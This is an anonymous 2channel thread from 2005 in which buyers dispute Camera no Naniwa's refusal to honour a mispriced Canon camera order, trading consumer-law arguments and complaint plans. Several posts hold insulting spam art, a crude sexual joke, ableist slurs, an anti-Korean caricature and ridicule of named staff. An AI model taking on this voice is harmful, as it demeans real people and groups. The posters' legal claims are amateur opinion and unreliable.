http://www.rakuten.co.jp/naniwa/index.html
メールアドレス:info@728.co.jp
カメラのナニワ 心斎橋本店
大阪市中央区心斎橋筋1-4-29
(06)6281-4100
■■■■■■■■■■


647 :番組の途中ですが名無しです:05/03/03 00:10:28 ID:OQTWi7dp
    /⌒ヽ
⊂二(^ω^ )二二二⊃
    \   |       ゴネ厨
     ヽノ )
     ( <(
     /_/J  三

648 :番組の途中ですが名無しです:05/03/03 00:11:11 ID:5yn4G2sB
ナニワさんには意地でもゴネ厨に屈せず頑張って頂きたいな、と思う次第。


649 :番組の途中ですが名無しです:05/03/03 00:12:51 ID:aSnDC8Nb
日付が変わった途端に湧いてくる店員さん。



必死杉w

650 :番組の途中ですが名無しです:05/03/03 00:14:19 ID:dWX3rXmy
>>648
文法おかしいよ
ナニワさんには意地でもゴネ厨として屈せず頑張って頂きたいな、と思う次第。


だろ。


651 :番組の途中ですが名無しです:05/03/03 00:15:15 ID:5yn4G2sB
プッ ゴネ厨必死wwwwwww

652 :番組の途中ですが名無しです:05/03/03 00:17:18 ID:OQTWi7dp
    /⌒ヽ
⊂二(^ω^ )二二二⊃
    \   |       ゴネ厨
     ヽノ )
     ( <(
     /_/J  三

653 :番組の途中ですが名無しです:05/03/03 00:18:47 ID:dWX3rXmy
     【現段階のこれからの方針】


・これからも購入意思のある方達は、ecomの窓口の「あっせん」を選択して
 商品受け渡しを訴えてください。

・これからはもう購入意思のない場合は、ecom、警察相談電話等をつかって
 個人情報の責任追及をする方針を採ればいいかと思います。


どちらかの行動がいま適切だと思います。どうぞ参考にしてください。

654 :番組の途中ですが名無しです:05/03/03 00:19:32 ID:2DvrESsi
>>300
通報したぞ

655 :番組の途中ですが名無しです:05/03/03 00:19:33 ID:OQTWi7dp
  (^ω^)⊃ アウト!!!
  (⊃ )
 /   ヽ


⊂( ^ω^)⊃ セーフ!!!
  (   )
 /   ヽ


  ( ^ω^) ヨヨイの!!
  (⊃⊂ )
 /   ヽ


⊂⌒ヽ          (⌒⊃
  \ \  /⌒ヽ  / /
 ⊂二二二( ^ω^)ニニ二⊃
     \ \_∩_/ /
      (  (::)(::)  )
       ヽ_,*、_ノ  ゴネ厨
   ///
 ///

656 :番組の途中ですが名無しです:05/03/03 00:20:00 ID:Y+YXMOvU
>>641
残念だがあれは刑事告訴は無理だと思うぞ、
「社内で噂」というだけの話だからどこの会社だかも解らんのだろ?
その上に公開された内容を話しただけのことに過ぎないだろう。

余談だが俺は636だ、店員ではない。

657 :番組の途中ですが名無しです:05/03/03 00:23:25 ID:OQTWi7dp
     /⌒ヽ 
    ( ^ω^/⌒ヽ
  ⊂二二二( ^ω^)二⊃  ゴネ厨
     ノ>ノ  ノ>ノ 
  三 レレ レレ

658 :番組の途中ですが名無しです:05/03/03 00:24:58 ID:LIGkl7TZ
ネニワ打倒、ゴネ厨に利あり。


659 :番組の途中ですが名無しです:05/03/03 00:25:39 ID:I4DoP0PD
>>658
ねーよw

660 :番組の途中ですが名無しです:05/03/03 00:26:29 ID:Y+YXMOvU
こうしてかなり淘汰されてから見ると、
ここに来てる中で真面目に申し込みした実数はかなり少ないんじゃないか?
(ここに来ていない一般人は予想できないけど・・・)
そう考えると法的にも比較的有利に思える状況だから、
売った場合や何らかの譲歩をした場合のナニワの損失は意外と少なくて、
より一層見込みが高いと考えても良いのじゃなかろうか?

661 :番組の途中ですが名無しです:05/03/03 00:26:33 ID:OQTWi7dp
俺の場合、ズリネタだったゴネ厨と、まさかと思っていたが本当に口説き落とせてしまって
今やゴネ厨になったから、ズリネタではなくなってしまった。
大量のゴネ厨を、喉を鳴らして飲んでくれるし、安全日にはゴネ厨。ええぞー♪

662 :1&560 ◆yohAYGjGLI :05/03/03 00:28:02 ID:V6IrHqmc
>>656
馬鹿なやつがあおっていたらちょっとだまらせようと思って言っただけだ。
他意はないですし、実行するつもりもないです。

663 :番組の途中ですが名無しです:05/03/03 00:28:24 ID:XdYB5dor
未だに購入履歴詳細から消えるわけでもなく、
売ると発表するわけでもなく。
一体何がしたいの?

このままだとKISS D N買う意志がある人達も
他で予約できないし(ナニワが売ると発表した場合、客からキャンセルできないし)
キヤノンからも怒られないのか?

664 :番組の途中ですが名無しです:05/03/03 00:29:26 ID:2PNtviNl
59640円ってほぼ仕入れ値だろ
ナニワは卸もやってんだから赤字にはなんねえんだから売ったれや

665 :番組の途中ですが名無しです:05/03/03 00:30:07 ID:/N2+MTcY
君たちの言い分だと売ってくれたら個人情報をどうしようが
いいってこと?そんな個人情報うんぬん言うならネット通販なんて
やめなさいよ。



666 :番組の途中ですが名無しです:05/03/03 00:31:12 ID:IK4l5eQl
仕入れ値以下だろうと売る気はないようです。

667 :番組の途中ですが名無しです:05/03/03 00:32:36 ID:LIGkl7TZ
>>665
投稿前にもう少し考えよう


668 :番組の途中ですが名無しです:05/03/03 00:32:48 ID:dWX3rXmy
そこまで罵倒すんなよ。こちら注文者は整然と規定の手続きにのっとってことを進めるつもりなんだから。
あんまりゴネ厨、ゴネ厨言ってるとナニワ泣いちゃうぞw

>>665
商品受け渡しを前提でこちらは個人情報を入力しました。商品受け渡しを
最終的に拒む場合は、そのような請求をしていくというまでです。両方の
方針を用意しておくことは、前もってしておくこととして適当でしょうね。


669 :番組の途中ですが名無しです:05/03/03 00:33:27 ID:OQTWi7dp
  /\___/\
/ /    ヽ ::: \
| (●), 、(●)、 |    / ̄ ̄ ̄ ̄ ̄ ̄ ̄
|  ,,ノ(、_, )ヽ、,,   |  < ゴネ厨ま〜た始まった
|   ,;‐=‐ヽ   .:::::|    \_______
\  `ニニ´  .:::/
/`ー‐--‐‐―´´\

670 :番組の途中ですが名無しです:05/03/03 00:35:11 ID:dWX3rXmy
>>669
あんまりしつこいと、また報告されちゃうよw
昨日と同じヤツだろうから、毎日やってると
目付けられるよ。


671 :番組の途中ですが名無しです:05/03/03 00:35:26 ID:/N2+MTcY
>>668
だからナニワは価格を誤って表示したって言ってるんでしょ?
それで終わりにできないの?大人になろうよ

672 :番組の途中ですが名無しです:05/03/03 00:35:46 ID:IMZBVKu3
ttp://naniwa.s115.xrea.com/archives/2005/03/post_9.html

軽くまとめてみました。
もし抜けている重要事項などありましたら付け足しておいてください。

673 :番組の途中ですが名無しです:05/03/03 00:36:47 ID:IK4l5eQl
経緯知らない新参者に用は無いんで。

674 :番組の途中ですが名無しです:05/03/03 00:37:13 ID:OQTWi7dp

  /;:;:;:;:;:;:;:;:;:;:;:;::;:λ:;:;::;:;:;:;:;:;:;:;;:;ヽ +      / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  i;:;:;:;:;:、;:;:;:;;:;::;:ノ ヽ;:;:;:;::;:;:;:;:;:;:;:|    * /ゴネ厨♪
  {;:;:;:;:;;:;:ノ ノ       ヽ ヽ;:;:;}    <  ゴネ厨?
  ヽ;:;{   ....,,,,      ....,,,  |;:;:{   *   \ゴネ厨!
   };:;|  (*0i)   ,.(*0i) |;:;:{        \ゴネ厨♪
   ヽ|   ゙"" 丿   ゙""'  | ;:{       /⌒)))_______
   };:| ;;;;;;;;   丶 ;;;;;;;;;;;; /;:;:(        /  /  *      +
 :ソ;:;ゝ    ___、  ..!;:;:;;ノ     /  /     *
  ̄  \    \⌒ 丿  /;}  (.(⌒\./  / 
       \ ・   二    /    + \  /⌒ヽ

675 :番組の途中ですが名無しです:05/03/03 00:39:51 ID:dWX3rXmy
>>671
「ごめんなさい。間違えました、今回の件はなしで。」
これをあなたは大人の解釈というようですが、幼い認識のようで残念です。

では、あなたも今度同じことを社会であなたの責任において実行してみてください。
どんな、責任を伴うか身をもって体験できるでしょうね。それから、また来てくださいね。

>>674
昨日報告されたやつだろ。進歩しろよ。

676 :番組の途中ですが名無しです:05/03/03 00:41:14 ID:OQTWi7dp
ヤダァ(`Д´(`  )<ゴネ厨が君の布団ですかしっ屁してあげよう
| ̄ ̄ ̄ ̄ ̄ ̄ ̄.|
|  | ̄ ̄ ̄ ̄|  |
|  |  @  @|  |
|  |@  @  |  |
|  |____|  |
|__________|

ウソッ!(゚Д゚(`  )
| ̄ ̄ ̄ ̄ ̄ ̄ ̄.|
|  | ̄ ̄ ̄ ̄|  |
|  |  @  ブバッ!!ブリブリブリィィィィッッッッ!!!!ビチビチッ!!
|  |@  @  |  |
|  |____|  |
|__________|

677 :番組の途中ですが名無しです:05/03/03 00:43:55 ID:su+Of3xM
>>676
記者だがしつこいからひろゆきに嵐報告メール送っておくな。
>>671
ナニワは客のキャンセルを認めていない、なのに店(ナニワ)のキャンセルを許せる訳がない。

678 :番組の途中ですが名無しです:05/03/03 00:44:01 ID:LIGkl7TZ
>>671
だから頭少しだけ使えって

679 :番組の途中ですが名無しです:05/03/03 00:44:16 ID:wI0bObzM
ナニワのフリーダイヤルが携帯から受け付けてくれなくなった。
昨日はOKだったのに・・・。

680 :番組の途中ですが名無しです:05/03/03 00:44:40 ID:/N2+MTcY
ゴネ厨とは生活に余裕のない心の狭い方の集まりなんですな

681 :番組の途中ですが名無しです:05/03/03 00:44:46 ID:6Tj9uI+I
おいおまえらどうしたんだよ、天下のニュー速住人だろ
池沼のあおりは、一回バカにしたあと徹底放置
勝手にやらしとけ わすれてた?

682 :番組の途中ですが名無しです:05/03/03 00:44:59 ID:OQTWi7dp
         ∧_∧
        ( ´∀`)ゴネ厨
        /,   つ
       (_(_, )
         しし'

683 :番組の途中ですが名無しです:05/03/03 00:45:03 ID:IK4l5eQl
で、塩山本人と話できた奴はまだ居ない?

684 :番組の途中ですが名無しです:05/03/03 00:46:48 ID:su+Of3xM
>>680
>>677

685 :番組の途中ですが名無しです:05/03/03 00:47:14 ID:OQTWi7dp
                         イキデキネーヨ
   ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ハライテ-       ゲラゲラ
.  ( ´∀`) <ゴネ厨言ってんのかよ ∧_∧       〃´⌒ヽ       モウ カンベン
.  ( つ ⊂ )  \_______   (´∀` ,,)、     ( _ ;)        シテクダサイ
   .)  ) )   ○   ∧_∧      ,, へ,, へ⊂),    _(∨ ∨ )_     ∧_∧ ○,
  (__)_) ⊂ ´⌒つ´∀`)つ    (_(__)_丿      し ̄ ̄し     ⊂(´∀`⊂ ⌒ヽつ
          タッテ ラレネーヨ

686 :番組の途中ですが名無しです:05/03/03 00:47:38 ID:IMZBVKu3
>>683

昨日(3/2)の時点では駄目だった。
塩山氏に取り次いで欲しいと要求したのだが。

しかし、面白いことに塩山氏の話題になったとたんに

「他のお客様もお待ちですので。。」

とかいう逃げ腰に。おいおい、三時間以上話してる人もいるんだろ?
俺まだ十分くらいだよ?とか思ったんだが。

687 :番組の途中ですが名無しです:05/03/03 00:48:01 ID:LIGkl7TZ
>>683
ナニワ銭儲主義人民共和国の小将軍様が出てくるわけない。


688 :番組の途中ですが名無しです:05/03/03 00:48:15 ID:OQTWi7dp
<丶`∀´> ← ゴネ厨

689 :番組の途中ですが名無しです:05/03/03 00:48:22 ID:dWX3rXmy
>>672
おつかれさまです。一部投稿を利用してして使わせていただいております。


参考程度でいいんですが、コメント投稿にメールアドレスが求められるようなんですが
必須より、任意のほうがコメントがより多く集まるとおもいますが、いかがでしょうか。

690 :番組の途中ですが名無しです:05/03/03 00:50:35 ID:LIGkl7TZ
<丶`∀´> ← ナニワ銭儲主義人民共和国の小将軍様


691 :番組の途中ですが名無しです:05/03/03 00:51:29 ID:aSnDC8Nb
メールがきますたが、中根君は日本語すら不自由な人みたいですね。(藁

692 :番組の途中ですが名無しです:05/03/03 00:51:36 ID:OQTWi7dp
    {   ....,,,,     ....,,,   |ヽ
    |  (*0i)   ,.(*0i)  |〈
    |   ~~~ 丿   ~~~  | }
   { |     丶丶     |/
    ゝ     ■     ..! ゴネ厨
     ヽ    ←→    /; 
   / ヽ      ̄   :/ \

693 :番組の途中ですが名無しです:05/03/03 00:52:27 ID:IMZBVKu3
>>689

あー、俺そこのblogの管理人じゃないんだわwww
投稿だけなら誰でも出来るよ。きっとここ管理人も見てるし、対応してくれるかも。

>>691
マジ?俺んとこには来てない。
まさか個人宛?

694 :番組の途中ですが名無しです:05/03/03 00:54:27 ID:EJIjFWTW
今夜も上級ニートの俺様が来ましたよと。

注文した人の中にも商売人がいると思うけど、
そのなんとか取引法は結構やばいのかい?

社員様がいらっしゃるようだがたとえナニワでも
社会人なわけで俺様のようなのとは天と地の差が。

注文した人はなんらかの結果がでるまではとりあえず頑張ってくださいよと。

695 :番組の途中ですが名無しです:05/03/03 00:55:11 ID:Gd/SyP/o
>>691氏だけかな?

696 :番組の途中ですが名無しです:05/03/03 00:56:02 ID:rRl26Tlk
ゴネ厨 !!
           \\  ゴネ厨!! //
       +   + \\ ゴネ厨!!/+
     ____      ____      ____
    /∵∴∵∴\    /∵∴∵∴\    /∵∴∵∴\
   /∵∴∵∴∵∴\ /∵∴∵∴∵∴\ /∵∴∵∴∵∴\
  /∵∴∴,(・)(・)∴| /∵∴(・)∴∴.(・) | /∵∴∴,(・)(・)∴|
  |∵∵/   ○ \| |∵∵∵/ ○\∵| |∵∵/   ● \|
  |∵ /  三 | 三 | |∵∵ /三 | 三| | |∵ /  三 | 三 |
  |∵ |   __|__  | |∵∵ | __|__ | | |∵ |   __|__  |
   \|   \_/ / \∵ |  === .|/ \|   \_/ /
     \____/∩  \|___/∩   \____/
 +  (( (つ   ノ     (つ  丿      (つ  つ ))  +
       ヽ  ( ノ     ( ヽノ         ) ) )
       (_)し'      し(_)      

697 :番組の途中ですが名無しです:05/03/03 00:56:54 ID:aSnDC8Nb
>>693
個人宛だが内容は全く無い。もう少し待ってくれと。「もう待てないよ」とアレだけ電話で釘刺しておいたのだが。

それに自分の事を「様」付けでメール送ってきやがったw



698 :632=640:05/03/03 00:56:55 ID:ltBVcbG5
すみません、「楽天の規約では未だ契約締結前である以上」という記述は
撤回します。楽天の規約中に契約締結時期に関する条項はないんだね。
これに関する記述は自動返信メールの記載のみ。

>>592の後段にある、「ナニワのウェブ上の」契約締結時期に関する記載」の
存在の有無についてご存じの方はいませんか?

699 :番組の途中ですが名無しです:05/03/03 00:57:42 ID:IMZBVKu3
>>697

マジかああああぁぁぁああああ!!!!??

中根氏!
個人に対する返答はしないとあれだけ言ってたじゃねえか!!!!
そういうちぐはぐな対応が今回の件をこじらせている原因の一端なんだよ!!

筋を通した対応をするのが責任者としての責務だろうが!!!

700 :番組の途中ですが名無しです:05/03/03 00:58:14 ID:Y+YXMOvU
>>691 には人として売らなくても良い気がする。
相手がいくらヴァかでもそういう個人攻めは無用だろう、
元々あんな誤記をする時点で想像に難くないこととも言えるし。
相手は個人ではなく会社だという認識が甘くないか?

701 :番組の途中ですが名無しです:05/03/03 00:59:24 ID:su+Of3xM
>>697
ある程度キャンセルさせて、減ったところで残ってる人に売るかもね。
でもそれまで各関係機関に相談する必要がある、それが弱まったら態度もかわるだろう。

702 :番組の途中ですが名無しです:05/03/03 00:59:49 ID:LIGkl7TZ
塩山一族の奴隷として低賃金で長時間重労働させられている社員のみなさま。
家のローンや子供の養育費等大変で人間の尊厳とかいってる余裕はないのは
わかりますが今一度人として誇りを持っていたあの若き日々を思い出してください。


703 :番組の途中ですが名無しです:05/03/03 01:00:24 ID:TufVlYQf
ほらほら、みんな、ネギま!の時間ですよ

704 :番組の途中ですが名無しです:05/03/03 01:00:30 ID:3ISFPUMC
>>689
気になる人は、単発の捨てアドレスでも管理人さんから連絡付くようにするのが礼儀かと、

それからみんなが行動した結果を投稿すると管理人さんや他のメンバーにも
全体の流れが掴みやすくなるよ

705 :番組の途中ですが名無しです:05/03/03 01:00:50 ID:su+Of3xM
さすがに様付けはありえん・・・

706 :番組の途中ですが名無しです:05/03/03 01:03:19 ID:dWX3rXmy
>>693
そうでしたか。あと、電子商取引推奨協議会のサイトによると購入店のサイト
にも「自動返信メールを受信しただけでは、まだ契約は成立しません」といっ
た明文が、ある場合と記載されているので、それがなかったことも追加していた
だけると説得力がわずかに高まる要素ではないかと思います。 自分が見る限
りにはそのような、明文はなかったと理解していますが、もし資料等が手元に
ある方は確認していただけるとなおいいです。

>>698
私が持ち合わせている会社概要や注文後印刷物等には
「自動返信メールを受信しただけでは、まだ契約は成立しません」
といったような記載はありませんでした。

707 :番組の途中ですが名無しです:05/03/03 01:03:29 ID:IMZBVKu3
>>698

ttp://www.rakuten.co.jp/naniwa/info.html

まだ残ってた。


>>697

当たり障りのない内容まででいいから、書ける内容があったら教えてくれるとありがたいです。

708 :番組の途中ですが名無しです:05/03/03 01:04:57 ID:aSnDC8Nb
>>700
彼は今の時点ではこの件に関して会社の代表として対応をしている。(らしい。)
つまり彼の発言、対応がナニワの会社としての見解となる。


故に個人攻撃ではない。


709 :番組の途中ですが名無しです:05/03/03 01:05:59 ID:sWb2+3Lk
今日、有休だったんだが、早起きしたので価格ミス探索でもするかと、やって
いたら今までずっと探してしまった。
しかも見つからない。
俺の有休 otz

710 :番組の途中ですが名無しです:05/03/03 01:07:50 ID:aSnDC8Nb
>>707
「ちゃんとした返事を書くのは、もう少し待ってくれ。」

簡単に言えばそれしか書いてない三行メールだよ。




711 :番組の途中ですが名無しです:05/03/03 01:07:59 ID:N+9TkQDL
      / ̄ ̄ ̄ ̄ ̄ ̄\
    /             \
   /                 ヽ 最初の1ヶ月こそが
    l:::::::::   /      \   |      ゴネ厨の 
    |::::::::::   (●)    (●)   |     約半分なのだ
   |:::::::::::::::::   \___/    |
    ヽ:::::::::::::::::::.  \/     ノ

712 :番組の途中ですが名無しです:05/03/03 01:08:17 ID:IMZBVKu3
>>706

>>707にも書いたけど、ナニワとしてのページにはそういった一文はない。
でも、注文完了画面についてはわからない。楽天共通のヤツね。

もし注文完了画面を保存している人がいたらうpしてくれー。

713 :番組の途中ですが名無しです:05/03/03 01:08:53 ID:9m1yBEKG
どうなりました?


714 :番組の途中ですが名無しです:05/03/03 01:10:04 ID:IMZBVKu3
>>710

ありがと!


本当、今回の件は対応がすべてを物語ってる気がするよ。。。

715 :番組の途中ですが名無しです:05/03/03 01:10:53 ID:dWX3rXmy
>>712
707でも書いたけど、印刷したものなら注文完了画面はあるよ。
そこには、「契約」文字を含んだ文はありませんでした。


716 :番組の途中ですが名無しです:05/03/03 01:11:00 ID:nZBC8tOu
今注目をあびる優れたカメラのナニワ

717 :番組の途中ですが名無しです:05/03/03 01:11:19 ID:3ISFPUMC
>>698
http://www.rakuten.ne.jp/gold/naniwa/nagare.html
ここも見てね
3:弊社からお客様へご注文確認のご連絡
の解釈が微妙だけど、このページ作った奴は
なにわは絶対にまちがいを起こさない事を前提にしていたみたいやね

718 :番組の途中ですが名無しです:05/03/03 01:11:32 ID:9m1yBEKG
返事書かないと負けを認めた事になるよな
なんか書いても返事はコピペだと張り合い無いな

719 :698:05/03/03 01:13:36 ID:ltBVcbG5
>>707
どうもありがとう。これが見たかった。

ecomの見解(というか通常人にとっての見解だと思うけど)は↓だから、


> ※あらかじめ注文を受ける前にウェブ上にて
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>「自動返信メールを受信しただけでは、まだ契約は成立しません」といった明記があり、

楽天共通の注文完了画面に契約成立時期に関する一文が書いてあっても、
今回のナニワの件はHP上に契約成立時期に関する記載がなされていない以上、
PCで注文した場合にも契約は成立してると思う。

720 :番組の途中ですが名無しです:05/03/03 01:13:52 ID:dnTMS6dc
返事用テンプレ用意したらどうよ
コピペの送り合いw

721 :番組の途中ですが名無しです:05/03/03 01:14:09 ID:N+9TkQDL
    ( . .:.::;;;._,,'/      /⌒ヽ 
     ).:.:;;.;;;.:.)⊂二二二(:::^ω^)二⊃   ゴネ厨 
    ノ. ..:;;.;..ノ       |::::::  /
   ( ,..‐''~ ワー      (::::ヽノ
(..::;ノ )ノ__         ノ>ノ  キャー __
 )ノ__ '|ロロ|/ ̄\A.::.|ロロ|/ ̄\ __ |ロロ|..__ / ̄\
_|田|_|ロロ|_| ロロ| | | _|ロロ|_| ロロ|_|田|.|ロロ|_|田|_.| ロロ|_

722 :番組の途中ですが名無しです:05/03/03 01:17:20 ID:dnTMS6dc
┌【@曾@】┘の工作員というか、
むしろ儲け損なった奴のひがみだよな。

〜【@曾@】〜踊れ踊れー♪

723 :番組の途中ですが名無しです:05/03/03 01:18:34 ID:su+Of3xM
ID:N+9TkQDLは転売厨なんじゃないの?
ここれキスデジを使う人が大半のスレだよ。

724 :番組の途中ですが名無しです:05/03/03 01:18:38 ID:9m1yBEKG
>>720
なんて送っても返事はコピペだろ?
こっちもこぴぺで十分?w

とりあえずなんかおくらないとキャンセルを承諾したとおもわれそうだから
なんておくったらいい?

725 :番組の途中ですが名無しです:05/03/03 01:21:47 ID:BK24UKs7
3万で買った2GのCFを窓から投げ捨てたよ。
すぐ拾いに行ったけど

726 :番組の途中ですが名無しです:05/03/03 01:22:53 ID:aSnDC8Nb
>>724
横レスだけど。
本屋に逝って催告状や督促状の定型文がいろいろと載ってる本を買って来て、それを参考にした方が良いと思われる。


727 :番組の途中ですが名無しです:05/03/03 01:22:57 ID:9m1yBEKG
今日一日で何か動きありました?

728 :番組の途中ですが名無しです:05/03/03 01:23:53 ID:dWX3rXmy
>>727
そのための進行状況まとめサイトじゃあないか。Go

729 :番組の途中ですが名無しです:05/03/03 01:23:59 ID:9m1yBEKG
夜中に来たメールはキャンセルですすめますって書いてあったんだっけ?
なら拒否しとかないとな

730 :番組の途中ですが名無しです:05/03/03 01:24:11 ID:IMZBVKu3
>>724


かったカメラは、ちゃんとおくってください。
にゅういんしているおじいちゃんにわたしたいです



これでOK。

731 :番組の途中ですが名無しです:05/03/03 01:25:01 ID:9m1yBEKG
>>728
そっか
ごめん
どれだっけw

732 :番組の途中ですが名無しです:05/03/03 01:28:31 ID:Y+YXMOvU
>>708
君はキッチリ認識しているというのだね、それは悪かった。
では改めてそういった発言で嘲笑する必要は無かろう?
真面目に告発サイトなどを立ち上げている人も同類に思われたりしかねないし、
一般から見ても心象が良いものではないと思う。
そういう愚かしく無駄なことはする必要無かろう。

733 :番組の途中ですが名無しです:05/03/03 01:28:42 ID:GW45zqcp
現状
ナニワ 誤表記の過失あり
買った人 過失なし
は、多分誰も否定できないよね。

59640円って、マック(大阪だとマクド?)の
ハンバーガー半額商法と同じで
ポテトやドリンク(レンズなど)で利益稼ぐ商売だと思っても不思議ないし、
これで個人情報を安易に晒したって批判は常識ではありえない。

だからナニワの結果責任は確実にある。

で、その責任の取り方で
ナニワは謝ってショップ休業すれば済むという認識で
申し込んだ方は「謝って済む問題じゃないだろう」って
争いだよね。

裁判になったら結構面白そうだけど
もしここでゴネ厨呼ばわりしているのが
本当に社員だったら
「反省の色なし」ってことで
かなり不利な材料になるだろうね。



734 :番組の途中ですが名無しです:05/03/03 01:29:50 ID:9m1yBEKG
まだキャンセルはされてないな
ポイント無駄にしちゃったな

┌| ∵|┘が信じられんな
いままでよく潰れなかったもんだ

735 :番組の途中ですが名無しです:05/03/03 01:30:44 ID:EJIjFWTW
キャンセル拒否のメールを書く人は中根君にも分かるように書いてあげてね

736 :番組の途中ですが名無しです:05/03/03 01:31:06 ID:Gd/SyP/o
>>731
http://ps2.s101.xrea.com/050226.html
http://naniwa.s115.xrea.com/archives/2005/03/post_9.html

737 :番組の途中ですが名無しです:05/03/03 01:32:13 ID:9m1yBEKG
>>735
それ難しいな
漢字は使えないって事だろう?

本当に社員がここに書いてるのか?
ありえないと思うが、やってるなら面白すぎ

738 :番組の途中ですが名無しです:05/03/03 01:32:56 ID:dnTMS6dc
さすがに社員じゃないだろ。
GK祭り再び?

まぁとりあえずアレだ。
〜【@曾@】〜踊れ踊れー♪

739 :番組の途中ですが名無しです:05/03/03 01:36:34 ID:EJIjFWTW
>>737
"中根"は大丈夫だと思うけど"店長"とかは分からんな
もしかするとカタカナも危ういかもしれん

740 :番組の途中ですが名無しです:05/03/03 01:38:37 ID:aSnDC8Nb
>>732
この程度の対応しか出来ない人間を代表として押し立ててる企業としてのナニワを嘲笑しているつもりなのだが。

この件を所詮「この程度」としかナニワが認識していない事の証左かも知れないけど。



741 :番組の途中ですが名無しです:05/03/03 01:40:53 ID:dWX3rXmy
まあまあ、このまま余談に陥るとナニワの思うつぼなので
粘着基地外も消えたことですのでより建設的に行きましょう。

742 :番組の途中ですが名無しです:05/03/03 01:42:57 ID:9m1yBEKG
今回のようなトラブルを一切想定していない馬鹿さ加減にびびった

トラブルが起きたら責任者が変わる?
┌| ∵|┘側も今まで楽天規約をしらなかったのか?
馬鹿か
話しにならん

743 :番組の途中ですが名無しです:05/03/03 01:44:03 ID:9m1yBEKG
旦那ですが

744 :番組の途中ですが名無しです:05/03/03 01:45:22 ID:EJIjFWTW
ナニワへ電話してもしょうがないので
ecomの斡旋
時間のある人は警察ヘ
カードの人は早急にカード会社へ連絡

相談ポイントをまとめればいいんじゃない?

745 :番組の途中ですが名無しです:05/03/03 01:46:22 ID:Q6D+pExM
なー、知之、やっぱ販売責任者じゃない
http://216.239.57.104/search?q=cache:W5o0KP1L5RoJ:kakaku.ecnavi.jp/item_info/2003587142.html+%E5%A1%A9%E5%B1%B1%E7%9F%A5%E4%B9%8B&hl=ja

746 :番組の途中ですが名無しです:05/03/03 01:47:46 ID:9m1yBEKG
適当な作業をしていて考えられないミスを起こした
ミスの度合いもあるけど、この程度の金額で売れないと言うのが理解できない

本当に売れないなら売れないなりの対応ってあると思うが
売れないし対応もしないじゃ
舐めてんの?ってなるよね

┌| ∵|┘今後丸く収まるとでもおもってんのかな?

747 :番組の途中ですが名無しです:05/03/03 01:49:06 ID:Gd/SyP/o
丸く収まると思っているんじゃない?
そのぐらい低脳っていうことでは?

748 :番組の途中ですが名無しです:05/03/03 01:49:30 ID:Y+YXMOvU
>>741
俺か?

749 :番組の途中ですが名無しです:05/03/03 01:51:58 ID:dWX3rXmy
>>741
ん?粘着のこと?ああそれはもう見ての通り ID:OQTWi7dp こいつですよw

>>744
それが今の方針でしょうね。
コピペですが同じようにこんな感じで。
     【現段階のこれからの方針】


・これからも購入意思のある方達は、ecomの窓口の「あっせん」を選択して
 商品受け渡しを訴えてください。

・これからはもう購入意思のない場合は、ecom、警察相談電話等をつかって
 個人情報の責任追及をする方針を採ればいいかと思います。


どちらかの行動がいま適切だと思います。どうぞ参考にしてください。

750 :番組の途中ですが名無しです:05/03/03 01:53:05 ID:N+9TkQDL

 + /;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;/./*+    *
  /;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:|/.   
  /;:;:;:;:;:;:;:;:;:;:;:;::;:λ:;:;::;:;:;:;:;:;:;:;;:;ヽ +      / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  i;:;:;:;:;:、;:;:;:;;:;::;:ノ ヽ;:;:;:;::;:;:;:;:;:;:;:|    * /7板の良い子のみんな!ちゅうも〜く♪
  {;:;:;:;:;;:;:ノ ノ       ヽ ヽ;:;:;}    <  ほら!そこのうつむき加減の君?
  ヽ;:;{   ....,,,,      ....,,,  |;:;:{   *   \性の悩みから、今晩のおかずまで!
   };:;|  (*0i)   ,.(*0i) |;:;:{        \ミカリンがみんなの悩みに答えまぁす♪
   ヽ|   ゙"" 丿   ゙""'  | ;:{       /⌒)))_______
   };:| ;;;;;;;;   丶 ;;;;;;;;;;;; /;:;:(        /  /  *      +
 :ソ;:;ゝ    ___、  ..!;:;:;;ノ     /  /     *
  ̄  \    \⌒ 丿  /;}  (.(⌒\./  / 
       \ ・   二    /    + \  /⌒ヽ

751 :番組の途中ですが名無しです:05/03/03 01:53:55 ID:9m1yBEKG
対応は最初ですべてきまるでしょ
あとでどんなに頑張っても取り戻せない

┌| ∵|┘は最初でこけてる
ネットじゃなくて、持し店にきた客と対面で話すれば怒鳴られるが
ネットショップのきゃくは適当にあしらってても直接顔見ないからな

ネットショップの客がどこか遠い国の人間とでも勘違いしてんのかな?
大阪の人間だっているっつうの

752 :番組の途中ですが名無しです:05/03/03 01:55:19 ID:N+9TkQDL
  /;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:|/.   
  /;:;:;:;:;:;:;:;:;:;:;:;::;:λ:;:;::;:;:;:;:;:;:;:;;:;ヽ +      / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  i;:;:;:;:;:、;:;:;:;;:;::;:ノ ヽ;:;:;:;::;:;:;:;:;:;:;:|    * /はぁ〜い今日はここまで〜♪悩みは解決したかな?
  {;:;:;:;:;;:;:ノ ノ       ヽ ヽ;:;:;}    <  みんな!あんまり夜更かししちゃダメだよッ!
  ヽ;:;{   ....,,,,      ....,,,  |;:;:{   *   \ミカのお悩み相談室でしたッ♪
   };:;|  (*0i)   ,.(*0i) |;:;:{        \おやすみなさぁ〜い♪
   ヽ|   ゙"" 丿   ゙""'  | ;:{       /⌒)))_______
   };:| ;;;;;;;;   丶 ;;;;;;;;;;;; /;:;:(        /  /  *      +
 :ソ;:;ゝ    ___、  ..!;:;:;;ノ     /  /     *
  ̄  \    \⌒ 丿  /;}  (.(⌒\./  / 

753 :番組の途中ですが名無しです:05/03/03 01:56:46 ID:EJIjFWTW
電話される方は継続して塩山氏と直接話ができるように交渉していけばよいかと

特定商取引法の事を持ち出せば塩山氏と話はできそうな気がします

754 :番組の途中ですが名無しです:05/03/03 01:57:28 ID:9m1yBEKG
>>749
欲しいと思うけど
時間にもよるよな
時間がかかるようだと・・・。

あっせんを選択?

755 :番組の途中ですが名無しです:05/03/03 02:01:46 ID:dWX3rXmy
方針状況更新

・これからも購入意思のある方達は、ecomの窓口の「あっせん」を選択して
 商品受け渡しを訴えてください。

